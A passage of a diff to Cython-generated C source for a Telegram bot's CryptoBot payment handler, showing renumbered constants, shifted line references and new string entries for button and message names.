__pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = NULL; + __pyx_t_13 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS if (unlikely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_8)) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_13)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(__pyx_t_13); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_4 = 1; @@ -9787,10 +9793,10 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } #endif { - PyObject *__pyx_callargs[4] = {__pyx_t_8, __pyx_cur_scope->__pyx_v_message, __pyx_kp_u__34, Py_None}; + PyObject *__pyx_callargs[4] = {__pyx_t_13, __pyx_cur_scope->__pyx_v_message, __pyx_kp_u__26, Py_None}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 287, __pyx_L1_error) + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -9805,12 +9811,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_generator->resume_label = 8; return __pyx_r; __pyx_L31_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 287, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 288, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 287, __pyx_L1_error) + else __PYX_ERR(0, 288, __pyx_L1_error) } } } @@ -11211,10 +11217,13 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_AMOUNT_TEXT, __pyx_k_AMOUNT_TEXT, sizeof(__pyx_k_AMOUNT_TEXT), 0, 0, 1, 1}, {&__pyx_n_s_AioCryptoPay, __pyx_k_AioCryptoPay, sizeof(__pyx_k_AioCryptoPay), 0, 0, 1, 1}, {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_BACK, __pyx_k_BACK, sizeof(__pyx_k_BACK), 0, 0, 1, 1}, {&__pyx_n_u_CRYPTOSALE, __pyx_k_CRYPTOSALE, sizeof(__pyx_k_CRYPTOSALE), 0, 1, 0, 1}, {&__pyx_n_s_CRYPTO_BOT_ENABLE, __pyx_k_CRYPTO_BOT_ENABLE, sizeof(__pyx_k_CRYPTO_BOT_ENABLE), 0, 0, 1, 1}, {&__pyx_n_s_CRYPTO_BOT_TOKEN, __pyx_k_CRYPTO_BOT_TOKEN, sizeof(__pyx_k_CRYPTO_BOT_TOKEN), 0, 0, 1, 1}, {&__pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_k_Crypto_Pay_Api_Signature, sizeof(__pyx_k_Crypto_Pay_Api_Signature), 0, 1, 0, 0}, + {&__pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_k_DEFAULT_PAYMENT_MESSAGE, sizeof(__pyx_k_DEFAULT_PAYMENT_MESSAGE), 0, 0, 1, 1}, + {&__pyx_n_s_ENTER_SUM, __pyx_k_ENTER_SUM, sizeof(__pyx_k_ENTER_SUM), 0, 0, 1, 1}, {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, @@ -11222,6 +11231,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_MAIN_NET, __pyx_k_MAIN_NET, sizeof(__pyx_k_MAIN_NET), 0, 0, 1, 1}, {&__pyx_n_s_Networks, __pyx_k_Networks, sizeof(__pyx_k_Networks), 0, 0, 1, 1}, {&__pyx_kp_u_No_value, __pyx_k_No_value, sizeof(__pyx_k_No_value), 0, 1, 0, 0}, + {&__pyx_n_s_PAY, __pyx_k_PAY, sizeof(__pyx_k_PAY), 0, 0, 1, 1}, {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, {&__pyx_n_s_PROJECTMANECONGIGURE, __pyx_k_PROJECTMANECONGIGURE, sizeof(__pyx_k_PROJECTMANECONGIGURE), 0, 0, 1, 1}, {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, @@ -11235,27 +11245,20 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, - {&__pyx_n_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 1}, {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, - {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, - {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, - {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, - {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, - {&__pyx_kp_u__28, __pyx_k__28, sizeof(__pyx_k__28), 0, 1, 0, 0}, - {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, - {&__pyx_kp_u__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 1, 0, 0}, - {&__pyx_kp_u__32, __pyx_k__32, sizeof(__pyx_k__32), 0, 1, 0, 0}, - {&__pyx_kp_u__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 1, 0, 0}, - {&__pyx_kp_u__34, __pyx_k__34, sizeof(__pyx_k__34), 0, 1, 0, 0}, - {&__pyx_kp_u__35, __pyx_k__35, sizeof(__pyx_k__35), 0, 1, 0, 0}, - {&__pyx_n_s__44, __pyx_k__44, sizeof(__pyx_k__44), 0, 0, 1, 1}, - {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, + {&__pyx_n_s__36, __pyx_k__36, sizeof(__pyx_k__36), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, @@ -11319,9 +11322,11 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, {&__pyx_n_s_fiat, __pyx_k_fiat, sizeof(__pyx_k_fiat), 0, 0, 1, 1}, {&__pyx_n_u_fiat, __pyx_k_fiat, sizeof(__pyx_k_fiat), 0, 1, 0, 1}, + {&__pyx_n_s_format, __pyx_k_format, sizeof(__pyx_k_format), 0, 0, 1, 1}, {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_buttons, __pyx_k_handlers_buttons, sizeof(__pyx_k_handlers_buttons), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_cryprobot_pay, __pyx_k_handlers_payments_cryprobot_pay, sizeof(__pyx_k_handlers_payments_cryprobot_pay), 0, 0, 1, 1}, {&__pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_k_handlers_payments_cryprobot_pay_2, sizeof(__pyx_k_handlers_payments_cryprobot_pay_2), 0, 0, 1, 0}, {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, @@ -11407,8 +11412,8 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { } /* #### Code section: cached_builtins ### */ static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 55, __pyx_L1_error) - __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 116, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; @@ -11419,55 +11424,51 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - __pyx_tuple__6 = PyTuple_Pack(2, __pyx_kp_u__5, __pyx_int_1); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 100, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__6); - __Pyx_GIVEREF(__pyx_tuple__6); + __pyx_tuple__5 = PyTuple_Pack(2, __pyx_kp_u__4, __pyx_int_1); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__5); + __Pyx_GIVEREF(__pyx_tuple__5); - __pyx_tuple__23 = PyTuple_Pack(2, __pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_kp_u_No_value); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 196, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__23); - __Pyx_GIVEREF(__pyx_tuple__23); + __pyx_tuple__17 = PyTuple_Pack(2, __pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_kp_u_No_value); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__17); + __Pyx_GIVEREF(__pyx_tuple__17); - __pyx_tuple__29 = PyTuple_Pack(1, __pyx_kp_u__28); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 228, __pyx_L1_error) + __pyx_tuple__28 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__28, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_callback_pay_cryptobot, 41, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 41, __pyx_L1_error) + + __pyx_tuple__29 = PyTuple_Pack(1, __pyx_kp_u_crypto_amount); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__29); __Pyx_GIVEREF(__pyx_tuple__29); + __pyx_tuple__30 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_usdt_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__30); + __Pyx_GIVEREF(__pyx_tuple__30); + __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_amount_selection, 97, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 97, __pyx_L1_error) - __pyx_tuple__36 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__36); - __Pyx_GIVEREF(__pyx_tuple__36); - __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_callback_pay_cryptobot, 40, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_tuple__31 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_e); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); + __pyx_codeobj__12 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_cryptobot_webhook, 172, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__12)) __PYX_ERR(0, 172, __pyx_L1_error) - __pyx_tuple__37 = PyTuple_Pack(1, __pyx_kp_u_crypto_amount); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__37); - __Pyx_GIVEREF(__pyx_tuple__37); - __pyx_tuple__38 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_usdt_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__38); - __Pyx_GIVEREF(__pyx_tuple__38); - __pyx_codeobj__4 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_amount_selection, 96, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__4)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_tuple__32 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_body_text, __pyx_n_s_crypto_pay_signature); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 195, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_check_hash, 195, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 195, __pyx_L1_error) - __pyx_tuple__39 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_e); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 171, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__39); - __Pyx_GIVEREF(__pyx_tuple__39); - __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__39, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_cryptobot_webhook, 171, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_tuple__33 = PyTuple_Pack(7, __pyx_n_s_payload, __pyx_n_s_custom_payload, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__33); + __Pyx_GIVEREF(__pyx_tuple__33); + __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_crypto_payment, 205, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 205, __pyx_L1_error) - __pyx_tuple__40 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_body_text, __pyx_n_s_crypto_pay_signature); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 194, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__40); - __Pyx_GIVEREF(__pyx_tuple__40); - __pyx_codeobj__22 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_check_hash, 194, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__22)) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_tuple__34 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 222, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__34); + __Pyx_GIVEREF(__pyx_tuple__34); + __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_enter_custom_amount, 222, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 222, __pyx_L1_error) - __pyx_tuple__41 = PyTuple_Pack(7, __pyx_n_s_payload, __pyx_n_s_custom_payload, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 204, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__41); - __Pyx_GIVEREF(__pyx_tuple__41); - __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__41, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_crypto_payment, 204, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 204, __pyx_L1_error) - - __pyx_tuple__42 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 221, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__42); - __Pyx_GIVEREF(__pyx_tuple__42); - __pyx_codeobj__26 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__42, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_enter_custom_amount, 221, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__26)) __PYX_ERR(0, 221, __pyx_L1_error) - - __pyx_tuple__43 = PyTuple_Pack(6, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__43)) __PYX_ERR(0, 236, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__43); - __Pyx_GIVEREF(__pyx_tuple__43); - __pyx_codeobj__30 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 6, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__43, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_custom_amount_input, 236, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__30)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_tuple__35 = PyTuple_Pack(6, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 237, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 6, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_custom_amount_input, 237, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; @@ -11536,15 +11537,15 @@ static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)) __PYX_ERR(0, 40, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)) __PYX_ERR(0, 41, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 41, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 41, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_print = 0; @@ -11555,15 +11556,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 96, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, 